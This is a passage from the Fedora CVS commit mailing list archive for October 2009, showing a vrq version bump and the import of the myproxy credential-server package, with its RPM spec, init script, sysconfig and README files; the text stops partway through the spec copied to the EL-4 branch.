+48c7cc3bae486878b2f6e2fe353fc6c5  vrq-1.0.61.tar.gz


Index: vrq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-12/vrq.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vrq.spec	14 Sep 2009 14:49:47 -0000	1.1
+++ vrq.spec	11 Oct 2009 05:35:53 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           vrq
-Version:        1.0.58
-Release:        3%{?dist}
+Version:        1.0.61
+Release:        1%{?dist}
 Summary:        Verilog tool framework with plugins for manipulating source code
 
 Group:          Applications/Engineering
@@ -69,6 +69,9 @@ to develop backend plugin customization 
 %{_includedir}/%{name}-%{version}
 
 %changelog
+* Sat Oct 10 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.61-1
+- Updated to upstream packae 1.0.61
+
 * Sun Sep 13 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.58-3
 - Removed ldconfig for post and postun as shared library not in /usr/lib
 



From shakthimaan at fedoraproject.org  Sun Oct 11 05:37:03 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Sun, 11 Oct 2009 05:37:03 +0000 (UTC)
Subject: rpms/vrq/devel import.log,1.1,1.2
Message-ID: <20091011053703.A3BE311C00EC@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/vrq/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29072/devel

Modified Files:
	import.log 
Log Message:
Updated to 1.0.61 package.



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	11 Oct 2009 05:30:31 -0000	1.1
+++ import.log	11 Oct 2009 05:37:03 -0000	1.2
@@ -1 +1,2 @@
 vrq-1_0_61-1_fc11:HEAD:vrq-1.0.61-1.fc11.src.rpm:1255239101
+vrq-1_0_61-1_fc11:HEAD:vrq-1.0.61-1.fc11.src.rpm:1255239819



From stevetraylen at fedoraproject.org  Sun Oct 11 06:06:23 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Sun, 11 Oct 2009 06:06:23 +0000 (UTC)
Subject: rpms/myproxy/devel README.Fedora, NONE, 1.1 import.log, NONE,
	1.1 myproxy.init, NONE, 1.1 myproxy.spec, NONE,
	1.1 myproxy.sysconfig, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091011060623.F15A311C00EC@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/myproxy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6996/devel

Modified Files:
	.cvsignore sources 
Added Files:
	README.Fedora import.log myproxy.init myproxy.spec 
	myproxy.sysconfig 
Log Message:
Import rhbz#52079



--- NEW FILE README.Fedora ---

You must install host certificates for myproxy-server.

These should be located at 

/etc/grid-security/myproxy/hostcert.pem  , permissions 644
/etc/grid-security/myproxy/hostkey.pem   , permission  600

and owned by user/group  myproxy/myproxy.






--- NEW FILE import.log ---
myproxy-4_8-4_fc11:HEAD:myproxy-4.8-4.fc11.src.rpm:1255241118


--- NEW FILE myproxy.init ---
#!/bin/sh
#
# myproxy-server - Server for X.509 Public Key Infrastructure (PKI) security credentials
#
# chkconfig: - 55 25
# description:  Server for X.509 Public Key Infrastructure (PKI) security credentials
#
### BEGIN INIT INFO
# Provides: myproxy-server
# Required-Start:  $local_fs $network $syslog
# Required-Stop:  $local_fs $syslog
# Should-Start:  $syslog
# Should-Stop:  $network $syslog
# Default-Stop:
# Default-Start:
# Short-Description: Startup the MyProxy server daemon
# Description: Server for X.509 Public Key Infrastructure (PKI) security credentials
### END INIT INFO

# Source function library.
. /etc/rc.d/init.d/functions

exec="/usr/sbin/myproxy-server"
prog=$(basename $exec)

# Defaults
MYPROXY_USER=myproxy
MYPROXY_OPTIONS="-s /var/lib/myproxy"
X509_USER_CERT=/etc/grid-security/myproxy/hostcert.pem
X509_USER_KEY=/etc/grid-security/myproxy/hostkey.pem

# Override defaults here.
[ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog

# A few sanity checks 
[ ! -r $X509_USER_KEY ]  && echo -n "$prog: No hostkey file"  && failure && echo && exit 5
[ ! -r $X509_USER_CERT ] && echo -n "$prog: No hostcert file" && failure && echo && exit 5

lockfile=/var/lock/subsys/$prog


start() {
    echo -n $"Starting $prog: "
    daemon --user $MYPROXY_USER X509_USER_CERT=$X509_USER_CERT X509_USER_KEY=$X509_USER_KEY $exec $MYPROXY_OPTIONS
    retval=$?
    echo
    [ $retval -eq 0 ] && touch $lockfile
    return $retval
}

stop() {
    echo -n $"Stopping $prog: "
    killproc $prog
    retval=$?
    echo
    [ $retval -eq 0 ] && rm -f $lockfile
    return $retval
}

restart() {
    stop
    start
}

case "$1" in
    start|stop|restart)
        $1
        ;;
    force-reload)
        restart
        ;;
    status)
        status $prog
        ;;
    try-restart|condrestart)
        if status $prog >/dev/null ; then
            restart
        fi
	;;
    reload)
        # If config can be reloaded without restarting, implement it here,
        # remove the "exit", and add "reload" to the usage message below.
        # For example:
        status $prog >/dev/null || exit 7
        killproc $prog -HUP
        ;;
    *)
        echo $"Usage: $0 {start|stop|status|restart|reload|try-restart|force-reload}"
        exit 2
esac


--- NEW FILE myproxy.spec ---
%{!?_initddir: %global _initddir %{_initrddir}}

%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:           myproxy
Version:        4.8
Release:        4%{?dist}
Summary:        Manage X.509 Public Key Infrastructure (PKI) security credentials

Group:          System Environment/Daemons
License:        NCSA and BSD and ASL 2.0
URL:            http://grid.ncsa.illinois.edu/myproxy/
Source0:        http://www.globus.org/ftppub/myproxy/myproxy-%{version}.tar.gz
Source1:        myproxy.init
Source2:        myproxy.sysconfig
Source3:        README.Fedora

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  globus-gss-assist-devel > 3
BuildRequires:  pam-devel
BuildRequires:  graphviz
BuildRequires:  voms-devel >= 1.9.12.1
BuildRequires:  cyrus-sasl-devel
BuildRequires:  openldap-devel >= 2.3
BuildRequires:  grid-packaging-tools 
BuildRequires:  doxygen

%if "%{?rhel}" == "5"
BuildRequires: graphviz-gd
%endif

%if %{?fedora}%{!?fedora:0} >= 9
BuildRequires:  tex(latex)
%else
%if %{?rhel}%{!?rhel:0} >= 6
BuildRequires:  tex(latex)
%else
BuildRequires:  tetex-latex
%endif
%endif


%description
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

%package client
Requires:      myproxy = %{version}-%{release}
Requires:      globus-proxy-utils
Requires:      voms-clients
Summary:       Manage X.509 Public Key Infrastructure (PKI) security credentials 
Group:         System Environment/Daemons

%description client
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-client contains client utilities for MyProxy.

%package devel
Requires:      myproxy = %{version}-%{release}
# in .el5 and 4 this dependency is not picked up
# automatically via pkgconfig
%if  0%{?el4}%{?el5}
Requires:      globus-gss-assist-devel > 3
%endif
Summary:       Develop X.509 Public Key Infrastructure (PKI) security credentials 
Group:         System Environment/Daemons

%description devel
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-devel contains development files for MyProxy.

%package server
Requires(pre):    shadow-utils
Requires(post):   chkconfig
Requires(preun):  chkconfig
Requires(preun):  initscripts
Requires(postun): initscripts
Requires:         myproxy = %{version}-%{release}
Summary:          Server for X.509 Public Key Infrastructure (PKI) security credentials 
Group:            System Environment/Daemons

%description server
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-server contains the MyProxy server.

# Create a sepeate admin clients package since they
# not needed for normal operation and pull in
# a load of perl dependencies.
%package       admin
Requires:      myproxy-server = %{version}-%{release}
Summary:       Server for X.509 Public Key Infrastructure (PKI) security credentials 
Group:         System Environment/Daemons

%description admin
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-admin contains the MyProxy server admin commands.



%package doc
Requires:      myproxy = %{version}-%{release}
Summary:       Documentation for X.509 Public Key Infrastructure (PKI) security credentials 
Group:         Documentation

%description doc
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-doc contains the MyProxy documentation.


%prep
%setup -q
cp -p %{SOURCE1} .
cp -p %{SOURCE2} .
cp -p %{SOURCE3} .

%build
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*

for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}  --enable-doxygen --with-openldap=%{_usr} \
                                    --with-voms=%{_usr} \
                                    --with-kerberos5=%{_usr} --with-sasl2=%{_usr}
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{name}/%{flavor}_dev.filelist

# Put documentation in Fedora defaults and alter GPT package lists.
mkdir -p $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-doc-%{version}/extras
mv $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}/{refman.pdf,html} \
    $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-doc-%{version}/.

sed -i "s!/share/doc/%{name}/html/!/share/doc/%{name}-doc-%{version}/html/!" $GLOBUSPACKAGEDIR/%{name}/noflavor_doc.filelist
sed -i "s!/share/doc/%{name}/refman.pdf!/share/doc/%{name}-doc-%{version}/refman.pdf!" $GLOBUSPACKAGEDIR/%{name}/noflavor_doc.filelist


# We are going to zip the man pages later in the package so we need to
# correct the gpt data in anticipation.
sed -i "s!\(/share/man/.*\)!\1.gz!" $GLOBUSPACKAGEDIR/%{name}/noflavor_doc.filelist


for FILE in login.html myproxy-accepted-credentials-mapapp myproxy-cert-checker myproxy-certificate-mapapp \
             myproxy-certreq-checker myproxy-crl.cron myproxy.cron myproxy-get-delegation.cgi \
             myproxy-get-trustroots.cron myproxy-passphrase-policy myproxy-revoke 
do
   mv $RPM_BUILD_ROOT%{_usr}/share/%{name}/$FILE \
      $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-doc-%{version}/extras/.
   sed -i "s!%{name}/${FILE}!doc/%{name}-doc-%{version}/extras/${FILE}!" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist
done

mkdir -p $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-%{version}
for FILE in INSTALL LICENSE LICENSE.* PROTOCOL README VERSION
do 
  mv  $RPM_BUILD_ROOT%{_usr}/share/%{name}/$FILE \
      $RPM_BUILD_ROOT%{_defaultdocdir}/%{name}-%{version}/.
  sed -i "s!%{name}/${FILE}!doc/%{name}-%{version}/${FILE}!" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist
done

# Remove irrelavent example configuration files.
for FILE in etc.inetd.conf.modifications etc.init.d.myproxy.nonroot etc.services.modifications  \
            etc.xinetd.myproxy etc.init.d.myproxy
do
  rm $RPM_BUILD_ROOT%{_usr}/share/%{name}/$FILE
  sed -i "/share\/%{name}\/$FILE/d" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist
done

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc


# Move example configuration file into place.
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}
mv $RPM_BUILD_ROOT%{_datadir}/%{name}/myproxy-server.config \
   $RPM_BUILD_ROOT%{_sysconfdir}
sed -i "/share\/%{name}\/myproxy-server.config/d" $GLOBUSPACKAGEDIR/%{name}/noflavor_data.filelist


mkdir -p $RPM_BUILD_ROOT%{_initddir}
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
install  -m 755 myproxy.init $RPM_BUILD_ROOT%{_initddir}/myproxy-server
install  -m 644 myproxy.sysconfig $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig/myproxy-server
mkdir -p $RPM_BUILD_ROOT%{_var}/lib/myproxy

# Create a directory to hold myproxy owned host certificates.
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/grid-security/myproxy

%clean
rm -rf $RPM_BUILD_ROOT


%check 
# Check that the entries in gpt filelists are all present.
GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages
for LIST in $GLOBUSPACKAGEDIR/%{name}/*.filelist
do
   for FILE in $(cat $LIST)
   do
      if [ ! -r $RPM_BUILD_ROOT%{_usr}$FILE ] ; then
        echo "Check failed:"
        echo "Filelist $LIST contains:"
        echo "$FILE"
        echo "which is not present at:"
        echo $RPM_BUILD_ROOT%{_usr}$FILE 
        exit 1
      fi
   done
done



%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%pre server
getent group myproxy >/dev/null || groupadd -r myproxy
getent passwd myproxy >/dev/null || \
useradd -r -g myproxy -d %{_var}/lib/myproxy -s /sbin/nologin \
   -c "User to run the MyProxy service" myproxy
exit 0

%post server
/sbin/chkconfig --add myproxy-server

%preun server
if [ $1 = 0 ] ; then
    /sbin/service myproxy-server stop >/dev/null 2>&1
    /sbin/chkconfig --del myproxy-server
fi

%postun server
if [ "$1" -ge "1" ] ; then
    /sbin/service myproxy-server condrestart >/dev/null 2>&1 || :
fi


%files
%defattr(-,root,root,-)
%{_datadir}/globus/packages/%{name}

%doc %{_defaultdocdir}/%{name}-%{version}

%{_libdir}/libmyproxy.so.4
%{_libdir}/libmyproxy.so.4.0.8

%files client
%defattr(-,root,root,-)
%{_bindir}/myproxy-change-pass-phrase
%{_bindir}/myproxy-destroy
%{_bindir}/myproxy-get-delegation
%{_bindir}/myproxy-get-trustroots
%{_bindir}/myproxy-info
%{_bindir}/myproxy-init
%{_bindir}/myproxy-logon
%{_bindir}/myproxy-retrieve
%{_bindir}/myproxy-store

%{_mandir}/man1/myproxy-change-pass-phrase.1.gz
%{_mandir}/man1/myproxy-destroy.1.gz
%{_mandir}/man1/myproxy-get-delegation.1.gz
%{_mandir}/man1/myproxy-info.1.gz
%{_mandir}/man1/myproxy-init.1.gz
%{_mandir}/man1/myproxy-logon.1.gz
%{_mandir}/man1/myproxy-retrieve.1.gz
%{_mandir}/man1/myproxy-store.1.gz

%files server
%defattr(-,root,root,-)
%{_sbindir}/myproxy-server
%{_initddir}/myproxy-server
%config(noreplace)    %{_sysconfdir}/myproxy-server.config
%config(noreplace)    %{_sysconfdir}/sysconfig/myproxy-server
# myproxy-server wants exactly 700 permission on its data 
# which is just fine.
%attr(0700,myproxy,myproxy) %dir %{_var}/lib/myproxy
%dir %{_sysconfdir}/grid-security
%dir %{_sysconfdir}/grid-security/myproxy

%{_mandir}/man8/myproxy-server.8.gz
%{_mandir}/man5/myproxy-server.config.5.gz

%doc README.Fedora

%files admin
%defattr(-,root,root,-)
%{_sbindir}/myproxy-admin-addservice
%{_sbindir}/myproxy-admin-adduser
%{_sbindir}/myproxy-admin-change-pass
%{_sbindir}/myproxy-admin-load-credential
%{_sbindir}/myproxy-admin-query
%{_sbindir}/myproxy-replicate
%{_sbindir}/myproxy-server-setup
%{_sbindir}/myproxy-test
%{_sbindir}/myproxy-test-replicate
%{_mandir}/man8/myproxy-admin-addservice.8.gz
%{_mandir}/man8/myproxy-admin-adduser.8.gz
%{_mandir}/man8/myproxy-admin-change-pass.8.gz
%{_mandir}/man8/myproxy-admin-load-credential.8.gz
%{_mandir}/man8/myproxy-admin-query.8.gz
%{_mandir}/man8/myproxy-replicate.8.gz

%files doc
%defattr(-,root,root,-)
%doc %{_defaultdocdir}/%{name}-doc-%{version}

%files devel
%defattr(-,root,root,-)
%{_includedir}/globus/myproxy.h
%{_includedir}/globus/myproxy_authorization.h
%{_includedir}/globus/myproxy_constants.h
%{_includedir}/globus/myproxy_creds.h
%{_includedir}/globus/myproxy_delegation.h
%{_includedir}/globus/myproxy_log.h
%{_includedir}/globus/myproxy_protocol.h
%{_includedir}/globus/myproxy_read_pass.h
%{_includedir}/globus/myproxy_sasl_client.h
%{_includedir}/globus/myproxy_sasl_server.h
%{_includedir}/globus/myproxy_server.h
%{_includedir}/globus/verror.h
%{_libdir}/libmyproxy.so
%{_libdir}/pkgconfig/myproxy.pc

%changelog
* Wed Oct 7 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-4
- Add ASL 2.0 license as well.
- Explicitly add /etc/grid-security to files list
- For .el4/5 build only add globus-gss-assist-devel as requirment 
  to myproxy-devel package.
* Thu Oct 1 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-3
- Set _initddir for .el4 and .el5 building.
* Mon Sep 21 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-2
- Require version of voms with fixed ABI.
* Sun Sep 10 2009 Steve Traylen <steve.traylen at cern.ch> -  4.8-1
- Increase version to upstream 4.8
- Remove  voms-header-location.patch since fixed upstream now.
- Include directory /etc/grid-security/myproxy
* Mon Jun 22 2009 Steve Traylen <steve.traylen at cern.ch> -  4.7-1
- Initial version.



--- NEW FILE myproxy.sysconfig ---
# Any environment for MyProxy Startup.

# Override these defaults here.
## MYPROXY_USER=myproxy
## MYPROXY_OPTIONS="-s /var/lib/myproxy"
## X509_USER_CERT=/etc/grid-security/myproxy/hostcert.pem
## X509_USER_KEY=/etc/grid-security/myproxy/hostkey.pem




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/myproxy/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:08:18 -0000	1.1
+++ .cvsignore	11 Oct 2009 06:06:20 -0000	1.2
@@ -0,0 +1 @@
+myproxy-4.8.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/myproxy/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:08:18 -0000	1.1
+++ sources	11 Oct 2009 06:06:22 -0000	1.2
@@ -0,0 +1 @@
+85f29d553bfec5fa5f2042440542524f  myproxy-4.8.tar.gz



From stevetraylen at fedoraproject.org  Sun Oct 11 06:15:53 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Sun, 11 Oct 2009 06:15:53 +0000 (UTC)
Subject: rpms/myproxy/EL-4 README.Fedora, NONE, 1.1 myproxy.init, NONE,
	1.1 myproxy.spec, NONE, 1.1 myproxy.sysconfig, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011061553.CC5E411C00EC@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/myproxy/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9888/EL-4

Modified Files:
	.cvsignore sources 
Added Files:
	README.Fedora myproxy.init myproxy.spec myproxy.sysconfig 
Log Message:
First version to branches.



--- NEW FILE README.Fedora ---

You must install host certificates for myproxy-server.

These should be located at 

/etc/grid-security/myproxy/hostcert.pem  , permissions 644
/etc/grid-security/myproxy/hostkey.pem   , permission  600

and owned by user/group  myproxy/myproxy.






--- NEW FILE myproxy.init ---
#!/bin/sh
#
# myproxy-server - Server for X.509 Public Key Infrastructure (PKI) security credentials
#
# chkconfig: - 55 25
# description:  Server for X.509 Public Key Infrastructure (PKI) security credentials
#
### BEGIN INIT INFO
# Provides: myproxy-server
# Required-Start:  $local_fs $network $syslog
# Required-Stop:  $local_fs $syslog
# Should-Start:  $syslog
# Should-Stop:  $network $syslog
# Default-Stop:
# Default-Start:
# Short-Description: Startup the MyProxy server daemon
# Description: Server for X.509 Public Key Infrastructure (PKI) security credentials
### END INIT INFO

# Source function library.
. /etc/rc.d/init.d/functions

exec="/usr/sbin/myproxy-server"
prog=$(basename $exec)

# Defaults
MYPROXY_USER=myproxy
MYPROXY_OPTIONS="-s /var/lib/myproxy"
X509_USER_CERT=/etc/grid-security/myproxy/hostcert.pem
X509_USER_KEY=/etc/grid-security/myproxy/hostkey.pem

# Override defaults here.
[ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog

# A few sanity checks 
[ ! -r $X509_USER_KEY ]  && echo -n "$prog: No hostkey file"  && failure && echo && exit 5
[ ! -r $X509_USER_CERT ] && echo -n "$prog: No hostcert file" && failure && echo && exit 5

lockfile=/var/lock/subsys/$prog


start() {
    echo -n $"Starting $prog: "
    daemon --user $MYPROXY_USER X509_USER_CERT=$X509_USER_CERT X509_USER_KEY=$X509_USER_KEY $exec $MYPROXY_OPTIONS
    retval=$?
    echo
    [ $retval -eq 0 ] && touch $lockfile
    return $retval
}

stop() {
    echo -n $"Stopping $prog: "
    killproc $prog
    retval=$?
    echo
    [ $retval -eq 0 ] && rm -f $lockfile
    return $retval
}

restart() {
    stop
    start
}

case "$1" in
    start|stop|restart)
        $1
        ;;
    force-reload)
        restart
        ;;
    status)
        status $prog
        ;;
    try-restart|condrestart)
        if status $prog >/dev/null ; then
            restart
        fi
	;;
    reload)
        # If config can be reloaded without restarting, implement it here,
        # remove the "exit", and add "reload" to the usage message below.
        # For example:
        status $prog >/dev/null || exit 7
        killproc $prog -HUP
        ;;
    *)
        echo $"Usage: $0 {start|stop|status|restart|reload|try-restart|force-reload}"
        exit 2
esac


--- NEW FILE myproxy.spec ---
%{!?_initddir: %global _initddir %{_initrddir}}

%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:           myproxy
Version:        4.8
Release:        4%{?dist}
Summary:        Manage X.509 Public Key Infrastructure (PKI) security credentials

Group:          System Environment/Daemons
License:        NCSA and BSD and ASL 2.0
URL:            http://grid.ncsa.illinois.edu/myproxy/
Source0:        http://www.globus.org/ftppub/myproxy/myproxy-%{version}.tar.gz
Source1:        myproxy.init
Source2:        myproxy.sysconfig
Source3:        README.Fedora

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  globus-gss-assist-devel > 3
BuildRequires:  pam-devel
BuildRequires:  graphviz
BuildRequires:  voms-devel >= 1.9.12.1
BuildRequires:  cyrus-sasl-devel
BuildRequires:  openldap-devel >= 2.3
BuildRequires:  grid-packaging-tools 
BuildRequires:  doxygen

%if "%{?rhel}" == "5"
BuildRequires: graphviz-gd
%endif

%if %{?fedora}%{!?fedora:0} >= 9
BuildRequires:  tex(latex)
%else
%if %{?rhel}%{!?rhel:0} >= 6
BuildRequires:  tex(latex)
%else
BuildRequires:  tetex-latex
%endif
%endif


%description
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

%package client
Requires:      myproxy = %{version}-%{release}
Requires:      globus-proxy-utils
Requires:      voms-clients
Summary:       Manage X.509 Public Key Infrastructure (PKI) security credentials 
Group:         System Environment/Daemons

%description client
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-client contains client utilities for MyProxy.

%package devel
Requires:      myproxy = %{version}-%{release}
# in .el5 and 4 this dependency is not picked up
# automatically via pkgconfig
%if  0%{?el4}%{?el5}
Requires:      globus-gss-assist-devel > 3
%endif
Summary:       Develop X.509 Public Key Infrastructure (PKI) security credentials 
Group:         System Environment/Daemons

%description devel
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-devel contains development files for MyProxy.

%package server
Requires(pre):    shadow-utils
Requires(post):   chkconfig
Requires(preun):  chkconfig
Requires(preun):  initscripts
Requires(postun): initscripts
Requires:         myproxy = %{version}-%{release}
Summary:          Server for X.509 Public Key Infrastructure (PKI) security credentials 
Group:            System Environment/Daemons

%description server
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-server contains the MyProxy server.

# Create a sepeate admin clients package since they
# not needed for normal operation and pull in
# a load of perl dependencies.
%package       admin
Requires:      myproxy-server = %{version}-%{release}
Summary:       Server for X.509 Public Key Infrastructure (PKI) security credentials 
Group:         System Environment/Daemons

%description admin
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-admin contains the MyProxy server admin commands.



%package doc
Requires:      myproxy = %{version}-%{release}
Summary:       Documentation for X.509 Public Key Infrastructure (PKI) security credentials 
Group:         Documentation

%description doc
MyProxy is open source software for managing X.509 Public Key Infrastructure 
(PKI) security credentials (certificates and private keys). MyProxy 
combines an online credential repository with an online certificate 
authority to allow users to securely obtain credentials when and where needed.
Users run myproxy-logon to authenticate and obtain credentials, including 
trusted CA certificates and Certificate Revocation Lists (CRLs). 

Package %{name}-doc contains the MyProxy documentation.


%prep
%setup -q
cp -p %{SOURCE1} .
cp -p %{SOURCE2} .
cp -p %{SOURCE3} .

%build
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*

for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}  --enable-doxygen --with-openldap=%{_usr} \
                                    --with-voms=%{_usr} \
                                    --with-kerberos5=%{_usr} --with-sasl2=%{_usr}
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{name}/%{flavor}_dev.filelist

